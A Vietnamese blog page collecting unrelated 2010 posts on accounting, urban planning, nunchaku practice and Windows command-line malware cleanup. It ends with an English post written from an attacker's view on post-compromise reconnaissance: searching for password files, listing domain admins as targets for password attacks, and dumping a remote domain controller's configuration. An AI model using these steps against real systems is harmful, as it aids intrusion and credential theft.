Vai trò của kế toán bắt đầu hình thành khi con người chú ý đến hoạt động thương mại. Trong các hình thái xã hội, mọi người thực hành các qui định kinh tế mà khởi đầu bằng trao đổi tài sản theo giá thỏa thuận. Để thỏa thuận giá, cần có một đơn vị đo lường hoặc một vật trao đổi trung gian có tính phổ biến  đối với mọi thành viên trong xã hội. Cùng với quá trình phát triển của xã hội, vật trao đổi trung gian cuối cùng được chấp nhận là đơn vị đo lường bằng tiền tệ. Tiền được dùng để định giá trị của tài sản và là phương tiện thanh toán thuận tiện nhất. Vì được ứng dụng rộng rãi nên việc sử dụng đơn vị tiền tệ để làm cơ sở chung là yếu tố cơ  bản trong quá trình phân tích kinh tế, chính trị và xã hội. Do đó, tất cả các ngành khoa học xã hội đều đòi hỏi thông tin định lượng. Đây là lĩnh vực mà kế toán nghiên cứu. Kế toán đáp ứng nhu cầu đồi với thông tin định lượng và nhất là thông tin về tài chính.
Sau khi phân tích và tiếp cận các quan điểm khác nhau về khái niệm kế toán, chúng ta xác định được vai trò và bản chất của kế toán:
• VAI TRÒ CỦA KẾ TOÁN
Vai trò của kế toán là tạo ra thông tin về sự kiện kinh tế phát sinh từ các hoạt động của doanh nghiệp trong môi trường của nó. Kết quả của kế toán được trình bày tốt nhất bởi mô hình thông tin, và được trình bày trên các báo cáo tài chính, với những ghi chú giải trình của quá trình lập báo cáo tài chính và những thông tin khác của doanh nghiệp đã được kiểm toán, theo nghĩa kiểm toán viên đã phán xét độc lập để chứng nhận sự việc những báo cáo này trình bày trung thực với tình hình và kết quả của doanh nghiệp và phù hợp với nguyên tắc kế toán thừa nhận chung.
Các thông tin của kế toán được tao ra nhằm giúp cho những người có nhu cầu sử dụng thông tin khác nhau.
a> Các nhà quản trị doanh nghiệp
Bao gồm các cấp độ quản trị khác nhau trong doanh nghiệp là những người trực tiếp điều hành hoạt động kinh doanh. Họ sử dụng thông tin về kế toán để xác định mục tiêu kinh doanh, đề ra các quyết định để thực hiện, đánh giá thực hiện mục tiêu và điều chỉnh, nếu thấy cần thiết, để hoạt động kinh doanh của họ đạt hiệu quả cao hơn.
Vai trò của kế toán trong việc cung cấp thông tin cho các nhà quản trị là nhằm liên kết các quá trình quản lý với nhau và liên kết doanh nghiệp với môi trường bên ngoài.
b> Chủ sỡ hữu
Là những người có quyền sở hữu với vốn hoạt động kinh doanh của doanh nghiệp (như cổ đông, người góp vốn liên doanh, Nhà nước trong các doanh nhgiệp quốc doanh và công ty cổ phần…), họ quan tâm đến lợi tức sinh ra từ vốn kinh doanh, vì đây là căn cứ để họ đưa ra các quyết định cần thiết, bao gồm cả quyết định phân chia lợi túc cho họ. Đồng thời, qua việc xem xét thông tin trên báo cáo kế toán họ có thể đánh giá năng lực trách nhiệm của các bộ phận quản lý ở doanh nghiệp là tốt hay xấu.
c> Các nhà cho vay và cung cấp hàng hóa dịch vụ
Các ngân hàng, các tổ chức tài chính cũng như các nhà cung cấp hàng hóa, dịch vụ, trước khi cho vay hoặc cung cấp đều có nhu cầu thông tin về khả năng thanh toán của doanh nghiệp như thế nào. Nghĩa là, doanh nghiệp đã có đủ khả năng chi trả hay không? Để có được thông tin này họ phải sử dụng thông tin của kê toán
d> Các nhà đầu tư
Các nhà đầu tư là người cung cấp vốn cho tổ chức hoạt động kinh doanh với hy vọng thu được lợi tức trên vốn đầu tư. Ho luôn luôn muốn đầu tư vào nơi nào có tỷ lệ hoàn vốn cao nhất và thời gian ngắn nhất. Do vậy, trước khi đầu tư, họ cần thông tin về tình hình tài chính của doanh nghiệp để qua đó nghiên cứu, phân tích, đánh giá rồi đi đến quyết định
e> Các cơ quan thuế
Các cơ quan thuế địa phương va trung ương dựa vào tài liệu của kế toán để tính thuế, đặc biệt là thuế thu nhập. Các cơ quan thuế thường lấy số liệu lợi tức được thể hiện trên báo cáo kế toán trừ đi các khoản miễn giảm thuế theo luật định để xác định lợi tức chịu thuế.
f> Các cơ quan Nhà nước
Các cơ quan Nhà nước cần số liệu kế toán của doanh nghiệp, để tổng hợp cho ngành, địa phương và trên cơ sở đó phân tích đánh giá nhằm định ra các chính sách kinh tế thích hợp để thúc đẩy sản xuất kinh doanh và điều hành kinh tế vĩ mô.

•BẢN CHẤT CỦA KẾ TOÁN
a> Kế toán là một ngôn ngữ
Kế toán được nhận thức là một ngôn ngữ kinh doanh. Đó là một phương tiện truyền đạt thông tin về một doanh nghiệp.
Nhận thức kế toán là một ngôn ngữ kinh doanh, vì kế toán có rất nhiều thứ phù hợp với ngôn ngữ. Các hoạt động kinh doanh khác nhau của một doanh nghiệp được báo cáo trên các baó cáo kế toán bằng ngôn ngữ kế toán, cũng giống như tin tức được đọc báo cáo trên các tờ báo chí và các phương tiện truyền tin khác
Tính có thể so sánh được của báo cáo cần thiết, cho việc thực thi hữu hiệu loại ngôn ngữ đó dù nó bằng thứ tiếng việt hay kế toán. Đồng thời, ngôn ngữ phải linh hoạt để thích ứng với môi trường đang biến động.
Nhận thức kế toán là một ngôn ngữ đã được hội nghế nghiệp về kế toán của nhiều nước thừa nhận. Bởi vì giữa ngôn ngữ và kế toán có nhiều điểm tương đồng tiềm ẩn. Ngôn ngữ của kế toán được chuyển thể từ ngôn ngữ chung, thành những ký hiệu của kế toán, sắp xếp theo một hệ thống có căn cứ và mô phỏng theo một nguyên tắc nhất định. Sự sắp xếp này của các ký hiệu được gọi là ngôn ngữ, và các nguyên tắc tác động đến kiểu mẫu và công dụng các ký hiệu đó hình thành văn phạm của ngôn ngữ đó.
Cấu trúc văn phạm của ngôn ngữ kế toán gồm 2 yếu tố:
- Các ký hiệu hay đặc điểm từ vựng của một ngôn ngữ là các đơn vị “có ý nghĩa” hay các từ có thể nhận diện ở mọi ngôn ngữ, được dùng nhận diện các khái niệm cá biệt và trình bày bằng ký hiệu mà kế toán sử dụng.
- Các nguyên tắc văn phạm của một ngôn ngữ, ở đây ám chỉ, những cách sắp xếp về cú pháp của mọi ngôn ngữ. Trong kế toán, các nguyên tắc văn phạm, nhằm chỉ các, thủ tục, phải tuân thủ khi xây dựng xây tất cả các số liệu về tài chính của doanh nghiệp.
- Với sự hiện diện của các yếu tố cấu thành này các ký hiệu và các nguyên tắc kế toán, kế toán có thể được định nghĩa là một ngôn ngữ.
b> Kế toán là một hệ thống thông tin
Kế toán luôn luôn được xem là một hệ thống thông tin. Nó được cho là quá trình kết nối một nguồn thông tin, một kênh thông tin (thường do kế toán viên thực hiện) với tập hợp những nguồn nhận thông tin (những người sử dụng). Theo quan điểm kế toán là một hệ thống thông tin, kế toán có thể hiểu là: “Quá trình mã hóa các quan sát theo ngôn ngữ của kế toán, thành các ký hiệu qua các báo cáo của hệ thống đó và giải mã chúng để truyền đạt các kết quả đó”
Quan điểm này nhấn mạnh đến việc nhận thức và truyền đạt thông tin kế toán. Trước hết, giả thuyết kế toán là một hệ thống đo lường chính thức duy nhất trong một tổ chức. Sau đó, nó nâng cáo khả năng thiết thiết kế một hệ thống kế toán tùy ý, đủ khả năng để cung cấp các thông tin hữu ích cho nguồn cần sử dụng thông tin.
c> Kế toán là một hồ sơ lịch sử
Nhìn chung, kế toán được xem là phương tiện cung cấp thông tin lịch sử của một tổ chức và các giao dịch của nó với các môi trường xung quanh nó. Đối với người chủ sở hữu hay đối với các cổ đông của một doanh nghiệp, các hồ sơ kế toán cung cấp lịch sử về trách nhiệm quản lý các nguồn lực của chũ sỡ hữu. Kế toán là hệ thống thông tin hoạt động qua 3 giai đoạn:
- Giai đoạn thu thập và ghi nhận
- Giai đoạn đánh giá kết quả và hiệu quả
- Giai đoạn cung cấp thông tin cho hoạch định.
d> Kế toán là một hàng hóa
Kế toán cũng được xem là hàng hóa sinh ra từ một hoạt động kinh tế. Bởi vì, kế toán cung cấp những thông tin hữu ích cho các đối tượng cần sử dụng thông tin khác nhau. Người nhận thông tin có thể ra quyết định sáng suốt và hiệu quả hơn, Thay vì nếu không có thông tin, muốn có được các thông tin cần có chi phí bỏ ra, nguời sử dụng thông tin này phải nhận diện được kết quả của thông tin làm thay đổi các quyết định so với chi phí để có được thông tin.
Sự lựa chọn thông tin kế toán và các kỹ thuật kế toán có thể ảnh hưởng đến lợi ích của các nhóm người khác nhau trong xã hội. Kết quả là có một thị trường thông tin kế toán với cung và cầu xác định có thể không giống nhau. Quan điểm kế toán là một hàng hóa đang và sẽ tiếp tục có ảnh hưởng sâu sắc đến cách nghĩ về kế toán và nghiên cứu kế toán.
e> Kế toán phản ánh thực trạng kinh tế hiện hành
Kế toán cũng được xem xét như là một phương tiện phản ánh thực trạng kinh tế hiện hành theo quan điểm này thì cả bảng CĐKT và báo cáo kết quả hoạt động kinh doanh đều phải dựa trên cơ sở đánh giá nào, phản ánh nhiều nhất thực trạng kinh tế thay vì chi phí lịch sử.
Phương pháp được xem là phản ánh nhất thực trạng kinh tế nhấn mạnh vào giá hiện hành và giá tương lai hơn là giá lịch sử. Mục tiêu chính của quan điểm này của kế toán là để xác định thu nhập thực sự, là quan điểm phản ánh sự thay đổi về của cải của doanh nghiệp theo thời gian. Sử dụng phương pháp nào đó để đo lường tốt nhất các giá trị tài sản, công nợ và thu nhập liên quan? Để trả lời câu hỏi này có nhiều phương pháp đánh giá tài sản được đề nghị đưa ra. Xong cũng không ít quan điểm tranh luận khác nhau về vấn đề này.

Sau khi phân tích các khái niệm kế toán, xác định rõ vai trò và bản chất của kế toán, theo quan điểm của tôi, trong điều kiện nền kinh tế vận hành theo cơ chế thị trường, kế toán có thể được định nghĩa như sau:
“Kế toán là một khoa học liên quan đến việc thu thập, đo lường, xử lý và truyền đạt các thông tin tài chính và phi tài chính hữu ích của một tổ chức đến các đối tượng sử dụng để trên cơ sở đó đế ra các quyết định hợp lý.”

Thứ Năm, 25 tháng 2, 2010

Ý Tưởng Xây Dựng Khu Đô Thị Mới

Posted by Unknown Thứ Năm, tháng 2 25, 2010, under | No comments

Nguyên tắc xây dựng quy hoạch ở đây là: Hai con đường song song nhau thì có chiều giao thông ngược nhau. Chỉ có các ngã ba mà ở đó do giao thông một chiều nên không cần sử dụng hệ thống đèn báo giao thông cho phương tiện, có chăng chỉ cần đèn hiệu cho người đi bộ sang đường. (Phạm Minh Trí)
Ta thường thấy hai vấn nạn giao thông thường ngày xảy ra ở Việt Nam hiện nay, đó là tai nạn giao thông và tình trạng kẹt xe.
Nếu loại trừ những nguyên nhân về số lượng phương tiện trên mỗi mét vuông đường, tình trạng phương tiện giao thông cũng như ý thức của người tham gia giao thông… sẽ thấy vấn đề khá rõ nét:
  1. Tai nạn giao thông nghiêm trọng thường xảy ra khi hai phương tiện đi chung một con đường và ngược chiều nhau.
  2. Ùn tắc giao thông, không chỉ trong giờ cao điểm mà dường như thường xuyên xảy ra tại các giao lộ (ngã tư, ngã năm… trở lên)
Hai mô hình thành phố, khu dân cư thường thấy có dạng hình sao (với một hoặc một số điểm nút trọng tâm) hoặc ô vuông bàn cờ đều không thỏa mãn được việc cải thiện tình trạng giao thông do tồn tại nhiều con đường mà các phương tiện giao thông đi chung, ngược chiều nhau cũng như nhiều ngã tư, ngã năm… luôn tiềm ẩn ách tắc giao thông.
Mô hình dưới đây có thể là một giải pháp khắc phục các nhược điểm cố hữu đó: Mô hình thành phố, khu dân cư chỉ đi theo một chiều và chỉ có ngã ba (xem hình)
Y tuong quy hoach thanh pho, khu dan cu moi
Nguyên tắc xây dựng quy hoạch ở đây là:
i. Hai con đường song song nhau thì có chiều giao thông ngược nhau
ii. Chỉ có các ngã ba mà ở đó do giao thông một chiều nên không cần sử dụng hệ thống đèn báo giao thông cho phương tiện, có chăng chỉ cần đèn hiệu cho người đi bộ sang đường.
Ưu điểm có thể là:
- Giảm tai nạn giao thông nghiêm trọng do các phương tiện không thể đâm trực diện, đối đầu.
- Phương tiện giao thông hầu như luôn cơ động trên đường do không phải dừng khi gặp tín hiệu đèn đỏ ở các giao lộ (vì chỉ có ngã ba và chỉ đi một chiều), từ đó giảm ùn tắc giao thông.
Nhược điểm có thể là:
- Việc di chuyển giữa hai điểm của cùng một khu dân cư hoặc trong thành phố có thể phải đi quãng đường dài hơn
- Cũng có thể tình trạng giao thông vẫn khó khăn nếu số lượng phương tiện trên một khu vực (mang tính cục bộ) tăng lên quá mức.
Tuy nhiên, theo tôi đây cũng có thể là một ý tưởng để các nhà làm quy hoạch xây dựng và giao thông xem xét, tham khảo khi xây dựng quy hoạch khu dân cư, thành phố, đường giao thông… (đặc biệt là những khu vực mới hoàn toàn) góp phần giảm đi những thiệt hại về tính mạng, thời gian và tiền bạc của xã hội.
Vì một cuộc sống văn minh hơn, an toàn hơn và tiết kiệm hơn.

Tự Tập Côn Nhị Khúc

Posted by Unknown Thứ Năm, tháng 2 25, 2010, under | No comments

1. Trước hết là phần khởi động (cũng thiết thực cho việc tập một nhị khúc hay các binh khí khác). Bạn cần phải ép dẻo cổ tay, cổ tay càng dẻo, biên độ đòn thế của bạn càng rộng và sẽ tăng lực đánh cho đòn thế. Đặc biệt chú ý tay trái (giả sử bạn thuận tay phải), vì lý do không thuận tay nên rất khó khăn ở bước khởi đầu. Trong các động tác ép dẻo cổ tay, bạn nên áp dụng cách khởi động của Aikido và Aiki-Jujitsu… ép dẻo rất tốt!
2. Dùng tạ tay để tập động tác lắc cổ tay… tăng độ chịu lực cho cổ tay….
3. Tập các đòn cơ bản của nhị khúc bằng tay trái: Với mỗi đòn thế, bạn dùng côn ở tay phải ra đòn trước, và sau đó là tay trái. Giả sử bạn có 3 đòn côn số 1, 2, 3: bạn sẽ đánh số 1 tay phải (tay thuận) rồi số 1 tay trái (tay không thuận), kế tiếp là số 2 tay phải – số 2 tay trái, vv…
4. Tập đánh cùng đòn: với các đòn của nhị khúc như búng côn (từ tư thế kẹp côn), loan côn hai bên thân (xoay vòng từ dưới lên hoặc từ trên xuống), xoay 1 vòng trên đầu rồi vụt côn xéo xuống trước mặt, vv… hai tay bạn dùng 2 nhị khúc ra đòn cùng lúc. Với các đòn có điểm cắt (điểm mà hai đường côn giao nhau)như loan hai côn số 8 trước mặt chẳng hạn, bạn khéo léo cho hai côn “né” nhau. Hoặc một côn tới điểm cắt trước côn kia một chút ( thường là côn ở tay thuận – tay phải – sẽ đến nhanh hơn một chút để “né” côn ở tay không thuận).
5. Tập đánh hai tay hai đòn khác nhau: Ở bước này bạn cần đầu tư thời gian để suy nghĩ về đòn thế ngang ngửa với thời gian tập luyện trên sân… Nếu không có HLV hướng dẫn và không có tài liệu, bạn sẽ phải tự nghĩ ra các đòn thế cho mình.
Các nguyên tắc “sáng tác” đòn thế như sau:
- Chia các đòn thế nhị khúc bạn biết được thành các bậc THỜI GIAN THỰC HIỆN khác nhau. Ví dụ: các đòn vụt côn, búng côn,… là bậc 1. Các đòn loan côn số 8 là bậc 2 ( gồm hai động tác vụt côn hai bên thân ghép lại )….
- Suy nghĩ để ghép các đòn này lại, hai tay hai đòn khác nhau, tuy nhiên hai tay phối hợp phải hợp lý không gượng ép. Một trên – một dưới, một trước – một sau, một công – một thủ, hay thậm chí là cùng công cả hai tay côn…. Bạn nhớ dựa vào các bậc “thời gian thực hiện” (đã trình bày ở trên)… Vì không thể biết được tốc độ ra côn của các bạn là như thế nào nên sự phân chia thời gian ở trên chỉ là tương đối theo cá nhân tôi. Mỗi người cần kiểm tra lại thời gian thực hiện các đòn côn theo riêng mình!

6. Sau khi đã đánh được hai tay hai đòn khác nhau. Bạn thử kết hợp nhiều đòn thành một “pha”. Bạn sẽ phải tính “pha” của tay trái, “pha” của tay phải… Vẫn phải lưu ý các điểm cắt của đòn côn và đưa ra hướng xử lý. Các “pha” côn cần súc tích và bạn phải đảm bảo rằng bạn đủ THỂ LỰC để thực hiện đòn côn mà bạn “sáng tác” (do đó cũng nên tránh các “pha” côn quá dài). Nếu thực hiện được 5 pha kết hợp khác nhau… dù là “pha” của mình hay “pha” mình học được từ tài liệu cũng không quan trọng….xin chúc mừng bạn!
7. Còn một lưu ý nữa là cũng như các động tác múa hiện đại, bạn nhớ sau một loạt các đòn mãnh liệt dùng toàn lực, bạn dành những điểm thở cho tay côn của bạn được nghỉ ngơi. Thực tế nunchucks vẫn có những đòn nhìn từ bên ngoài là rất khủng khiếp nhưng thật sự với đòn ấy, tay côn của bạn (người đang biểu diễn) được thả lỏng rất nhiều… Chúc các bạn thành công!

Vào đây tham khảo nha:
http://www.luongson.net/forum/showthread.php?t=134274814 


http://kienthucvothuat.com/YaBB.pl?num=1196944733/40


Thứ Ba, 23 tháng 2, 2010

Diệt Virus Bằng Dòng Lệnh CMD

Posted by Unknown Thứ Ba, tháng 2 23, 2010, under | No comments

 Vào Start --> Run và đánh 'cmd.exe'. Việc gõ thêm cả đuôi '.exe' ở cuối mục rất quan trọng; đây là cách làm an toàn trong việc triệu gọi nhắc lệnh. Để đánh lừa một số người dùng, một số chương trình mã độc có thể cố lấy tên 'cmd.com' và trong trường hợp như vậy, malware sẽ được khởi chạy nếu bạn chỉ đánh vào lệnh 'cmd'.
vi dụ cụ thể luôn:

1-TASKLIST
- Hiển thị các tiến trình có PID lớn hơn 2000(tùy chọn PID) và in ra định dạng csv: hiển thị bao gồm "Image Name","PID","Session Name","Session#","Mem Usage","Status","User Name","CPU Time","Window Title"
Tasklist /v /fi "pid gt 2000" /fo csv
In ra một file cho dễ nhìn: Tasklist /v /fi "pid gt 2000" /fo csv >hell.txt
-Để hiển thị các tiến trình với trạng thái đang chạy với các username mặc định với các username: system, network service, local service, administrator. Còn nếu bạn đang chạy trong user nào thì hiện thị với tên user đó
Tasklist /fi "USERNAME eq NT AUTHORITY\SYSTEM” /fi "STATUS eq running"
Tasklist /fi "USERNAME eq SYSTEM" /fi "STATUS eq running" <--rút gọn
Tasklist /fi “username eq ten_user_dang_dung” /fi “status eq running”
Tasklist /fi “username ne system” /f “status eq running” <--lệnh này hiển thị trạng thái đang chạy với username ko phải là system
Tasklist /v /fi "STATUS eq running" xem chỉ những tiến trình đang chạy
-Hiển thị các file DLL chạy cùng tiến trình
Tasklist /m
Tasklist /fi “modules eq ntdll*” lệnh này chỉ lọc các file dll với đầu ngữ ntdll
Tasklist /fi “modules eq dnsq.dll” chỉ hiện tiến trình chạy có dnsq.dll (con dashfer)

2-TASKKILL
-Tắt tiến trình cùng lúc với nhiều PID, name
Taskkill /f /pid id1 /pid id2 /pid id3
Vidu với các id như 1234, 243, 879: taskkill /f /pid 1234 /pid 243 /pid 879
Taskkill /f /im explorer.exe /im system.exe /im userinit.exe

-Bắt ép tắt tiến trình nào đó đang chạy với username system (vd như notepad.exe)
Taskkill /f /fi “username eq system” /im notepad.exe

-Tắt tiến trình theo dạng cây với số ID là 1234 nhưng chỉ với username nào đó (administrator chẳng hạn)
Taskkill /pid 1234 /t fi “username eq administrator”

-Tắt tiến trình với PID lớn hơn 2000 mà ko quan tâm đến tên của nó
Taskkill /f /fi “pid ge 2000” /im * <--lưu ý dấu * chỉ áp dụng lọc cho tùy chọn /im

3-TSKILL
Lệnh này cũng để tắt tiến trình nhưng với ít tính năng lọc hơn
Tskill pid
Tskill name (vi dụ: tskill explorer) <--lưu ý là ko có đuôi .exe

4-WMIC
-Hển thị tiến trình 
wmic process list
wmic process list brief
wmic process list full
wmic process list brief /every:10 <-- cứ 10s lại cập nhật 1 lần (CTRL+C to end)
wmic process list brief | find "cmd.exe" <-- chỉ tìm với cmd.exe
wmic PROCESS WHERE "NOT ExecutablePath LIKE '%Windows%'" GET ExecutablePath
hiển thị các tiến trình ko nằm trong %windows%

-Hiển thị các chương trình khi khởi động
Wmic startup list brief
Wmic startup list full

-Hiển thị tên, danh sách các user
wmic USERACCOUNT WHERE "Disabled=0 AND LocalAccount=1" GET Name

-Tắt tiến trình với PID và name
Wmic process [pid] delete
Wmic process where name=’cmd.exe’ delete lưu ý: dấu ‘’ hay dấu “” đều được cả
Wmic process where name=”cmd.exe” call terminate

-Tắt một lúc nhiều tiến trình theo tên, pid
Wmic process where (name like OR name like “explorer.exe” OR name “iexplore.exe”) call terminate
Tắt 2 tiến trình có pid là 3288 và 4556
wmic process where (processid=3288 OR Processid=4556) call terminate

5-SC
Lệnh này dùng cho các services
-Truy vấn, xem các services, drivers
SC query type= services
SC query type= drivers
Hoặc xem tất cả: SC query type= all
-Tắt các dịch vụ đang chạy
SC stop schedule tắt schedule
SC stop srservice tắt system restore

- Disabled một dịch vụ nào đó
SC config schedule start= disabled
SC config srservice start= disabled
Với tên các services ở khóa HKLM\SYSTEM\CurrentControlSet\Services

6-NTSD
Theo mình biết thì lệnh này dùng để debug
Cũng ko biết nhiều về lệnh này có 2 lệnh sau dạng như tắt một tiến trình
NTSD –c q –p PID
NTSD –c q –pn name
Vd: ntsd –c q –pn explorer.exe

 Vào Start --> Run và đánh 'cmd.exe'. Việc gõ thêm cả đuôi '.exe' ở cuối mục rất quan trọng; đây là cách làm an toàn trong việc triệu gọi nhắc lệnh. Để đánh lừa một số người dùng, một số chương trình mã độc có thể cố lấy tên 'cmd.com' và trong trường hợp như vậy, malware sẽ được khởi chạy nếu bạn chỉ đánh vào lệnh 'cmd'.
7.'netstat'
Tiếp đến, khi nhắc lệnh xuất hiện, chạy lệnh netstat. Lệnh 'netstat –na' có thể cung cấp danh sách các cổng TCP và UDP trên máy tính. Thêm ‘o’ vào lệnh trên bạn có thể biết được process ID của mỗi quá trình đang sử dụng một cổng. Bắt đầu từ XP SP2, thêm ‘b’ bạn sẽ thấy tên file EXE đang sử dụng trên mỗi cổng, cùng với đó là các thư viện liên kết động (DLL) mà nó load để truyền thông với mạng. Tuy nhiên cần lưu ý rằng hành động thêm ‘b’ sẽ ngốn đi của hệ thống rất nhiều tài nguyên CPU.
Tuy nhiên hãy kiên trì. Giả dụ rằng bạn muốn quan sát việc sử dụng một cổng nào đó và xem cách chúng thay đổi thế nào theo thời gian. Hãy bổ sung thêm một dấu cách và sau đó một số nguyên vào lệnh netstat đó, lúc này nó sẽ có dạng "netstat –nao 1", lệnh trên sẽ được chạy với tần suất tương đương với số nguyên được cho, trong trường hợp này tần suất là 1s.

8.'reg'
Một bài phê bình của một hãng antivirus có thể giúp bạn có thêm kiến thức bên trong các registry key mà malware có thể đã sửa đổi. Để truy vấn registry key bằng dòng lệnh, hãy sử dụng lệnh reg. Cho dù một trang antivirus không cung cấp các registry key để phục vụ mục đích tìm kiếm thì bạn có thể nghiên cứu các registry key chung nhất bị sửa đổi bởi malware: các key có liên quan đến startup của hệ thống và đăng nhập của người dùng. Được biết đến như "run" registry key, lệnh reg có thể giúp hiển thị các giá trị của chúng tại cửa sổ dòng lệnh. Tuy nhiên lưu ý rằng, rất nhiều phần mềm hợp lệ cũng tự kích hoạt bằng cách sử dụng các key này. Sau khi chạy lệnh, bạn sẽ thấy các mục bên dưới các registry key này. Tiếp đến, thực hiện một vài tìm kiếm trên Google cho những gì được hiển thị để giúp bạn loại ra đâu là các thiết lập hợp lệ và đâu là malware.
C:\> reg query HKLM\Software\Microsoft\Windows\CurrentVersion\Run
C:\> reg query HKLM\Software\Microsoft\Windows\CurrentVersion\Run once
C:\> reg query HKLM\Software\Microsoft\Windows\CurrentVersion\Run once
Các bạn chạy các lệnh với một lượng thời gian tương đối, thay thế HKLM bằng HKCU. Sự thay thế nào sẽ tìm các auto-start registry key có liên quan đến người dùng, thay vì chỉ các thiết lập toàn bộ hệ thống bằng HKLM.
9.'dir'
Bạn cũng nên kiểm tra thư mục autostart để tìm các chương trình không mong muốn bắt đầu từ đây. Chạy lệnh dir, sử dụng /A để hiển thị các file có hoặc không có tập các thuộc tính, cũng như các file bị ẩn và không bị ẩn.
C:\> dir /A "C:\Documents and Settings\All Users\Start Menu\Programs\Startup"
10.'net users'  localgroup administrators'
Một số malware có thể tạo tài khoản trong máy tính nội bộ của bạn. Trong trường hợp đó, chúng ta cần chạy lệnh 'net users', đây là lệnh kiểm tra các tài khoản được định nghĩa trên hệ thống. Thêm vào đó, vì một số phần mềm bot có thể đăng ký tài khoản của nhóm quản trị viên nội bộ, khi đó chúng ta nên chạy lệnh "localgroup administrators", đây là lệnh kiểm tra thành viên của nhóm này. Bạn có biết tất cả những người trong nhóm quản trị viên không? Hình dưới đây sẽ hiển thị một ví dụ về trường hợp này.

Với Netstat
Hiển thị các cổng đang lắng nghe, đã thiết lập cùng với PID của nó
Netstat –ao
Rồi tasklist xem pid đó tiến trình j đang chạy
Hoặc dùng lệnh
Netstat –anobv 
để hiện cả tiến trình, pid, cổng đang lắng nghe
Lọc chỉ hiện các cổng đang lắng nghe(listening) và PID của cồng đó
Netstat –ano | find /I “listen”
Hoặc lọc với giá trị established
netstat -an | find /i "established"
Hiển thị bảng định tuyến
Netstat –r (giống lệnh route print)

NETSH (lệnh này đỉnh cao)

Hiển thị thiết lập TCP/IP
netsh interface ip show config
Reset lại TCP/IP
Netsh interface ip reset log.txt
Reset lại winsock
Netsh winsock reset
Hiển thị cấu hình firewall đã được thiết lập
Netsh firewall show config
Cho phép một chương trình lắng nghe thông qua firewall
netsh firewall add allowedprogram C:\test.exe test enable
Để mở một cổng trên firewall
netsh firewall add portopening tcp 2482 lt enable all
Để reset lại cấu hình firewall như mặc định
Netsh firewall reset


Một số về lệnh NET khác hay dùng

Xem các dịch vụ đang chạy
Net start

Mở 2 services server  workstation (Conflicker tắt 2 dịch vụ này). Để chia sẻ file
Net config server
Net config workstation


POWERSHELL
Bây giờ có powershell rất mạnh, cao cấp hơn chạy trên windows 7/server 2008

Hiện tiến trình chạy
Get-process
Ps (lệnh này giống linux)
gps

Lệnh tắt tiến trình, dừng tiến trình đang chạy
Stop-Process
kill
spps 

Start một dịch vụ
Start-Service 
Stop một dịch vụ
Stop-Service
1 số lệnh nhỏ nhưng cũng có ích phết

Chạy Powershell trên XP
http://www.microsoft.com/downloads/d...ng=en#filelist
http://www.powergui.org/downloads.jspa

Dưới đây là link về một số lệnh hay
http://ss64.com/nt/netsh.html
http://www.windowsnetworking.com/art...-Firewall.html
Còn trang này chuyên về kung fu dòng lệnh. Tuyệt đỉnh kung-fu
http://blog.commandlinekungfu.com/
Blog của anh này khá hay cả kung fu lẫn Ninja. Ác thật
http://synjunkie.blogspot.com/2008/0...c-dos-foo.html
http://synjunkie.blogspot.com/2008/0...-ninjitsu.html
 

Một Số Lệnh CMD

Posted by Unknown Thứ Ba, tháng 2 23, 2010, under | No comments

IPCONFIG
"ipconfig /all" can be used for viewing the IP information on the victim. This is useful as it gives the addresses of DNS servers, Wins servers and the gateway. These are potentially other targets.

ipconfig /all



NETSTAT
Netstat is useful for looking at what ports the victim has open and what connections it is making to other hosts. Although in I have put this inb the host enumeration section the information gained here will be valuable for network enumeration. Netstat can be used with a multitude of switches, each reveal different information. I'll cover the switches I find most useful.

netstat -anbv

This will list all connections,the executables involved in those connections and
To quickly list connections that are active pipe netstat through the find command:
netstat -an | find /i "established"

NET
The net command provides a great deal of information that is of use to an attacker. In particular for host enumeration "net share", "net session", "net use", "net start" and "net stop".
Net Share
net share "net share" can be used for creating new shares and is useful for identifying what folders the victim is already sharing. It will show hidden and non-hidden shares.
net start
net start This will list all services that are started. It will give you an idea of the roll of the victim host and tell you what AV or syslog software is running. services can be stopped using "net stop service_name".


Net Session
net session This is a great command for if you find yourself on a session to a server. It will list all the users that are connected (by username) and the PC names.

Note: if I wanted to quickly obtain the IP Addresses of the connected PC's for a script or something, I might use "nbtstat -S"

Net Accounts

"Net accounts" will list the details of the account policy that is enforced on the host, be it the default one or one pushed down from a domain controller. The information here is very useful as you can see it displays the account lockout policy and the lockout duration etc..
net accounts

NETSH
netsh can be used to dump out info about the network, firewall and connections.
netsh diag show all /v
The output from the above command is very verbose. To identify just the fields that have properties use the /p switch.
If you wanted to view the firewall configuration you could use:
netsh firewall show conf
Or If you want to see the config of the open ports through the firewall you can use the following command:
netsh firewall show port
As you can see the "netsh" command is very powerfull, I'll come back to it in the "Maintaining Access" section later.

GPRESULT
If the victim is a member of a domain the the "gpresult" will tell you what groups he and his computer are a member of, which group policies are applied and information about the OS.
gpresult

SET
Also just typing "set" will display some useful information such as the system variables (logon server, workstation name etc...) and the system paths.
set
DIR
"dir /s" will list all the directories and sub-directories. If you are looking for something in particular such as spreadsheets you can use "dir /s *.xls" or to also include possible password files use "dir /s *.xls password*.*"
dir /s password*


To look for additional tools use the "dir /s *.exe" command from the root directory. The PC may have had Resource Kits installed which often provide some excellent tools. Also dont forget the /a: switch to specify files with special attributes, such as hidden files.

dir /s /a:h 

Type
Type can be used to output a file to the screen. used in conjuction with "find" you can look for particular words in files.
type *.* | find /i "bank"

ROUTE
This will identify all network adapters and list connected subnets and routes. It also lists which adapters are which, this can be useful for adjusting settings using the "netsh" command.
route print
Routes can also be modified from the "route" command.

Network Enumeration
If the comprimised host is a connected to a network the commands listed below will help enumerate that network.

NET
"net view" is great for network enumeration.
"net view" will list all the hosts on the compromised hosts domain. "net view /domain" will list the domains that the compromised host can see. "net view /domain_name" will list the hosts on another domain.
Using the servername or host name will display all the shared resources (shares and printers) on the remote host. This will not show hidden shares though.
net view \\servername
net localgroup & net group
"net localgroup /domain" will list all the local groups on the domain. To view the members of a local group insert the groupname. Below are examples of using these commands to view the members of administrative groups and to find a list of all users. To an attacker who wants to compile a user list for password attacks this is critical information
net localgroup /domain


To view the members of a group you can specify the group name.
net localgroup administrators /domain
"net group /domain" will list all the Global groups on the domain. To view the members of a global group insert the groupname.
net group /domain


net group "domain admins" /domain

The command above will display the members of the global group "Domain Admins". As shown, I have now located a user in the "Domain Admins" group that I may want to target.
Below is another example of using the net group commands to enumerate all users on the domain.


NETSH
Another method I have found for enumerating all domain users is using the netsh command. I have found that I can run this on a remote Domain Controller even from an unprivileged account with no local or domain administrative rights.
netsh -r {ipaddress-of-remote-target} dump >textfile.txt

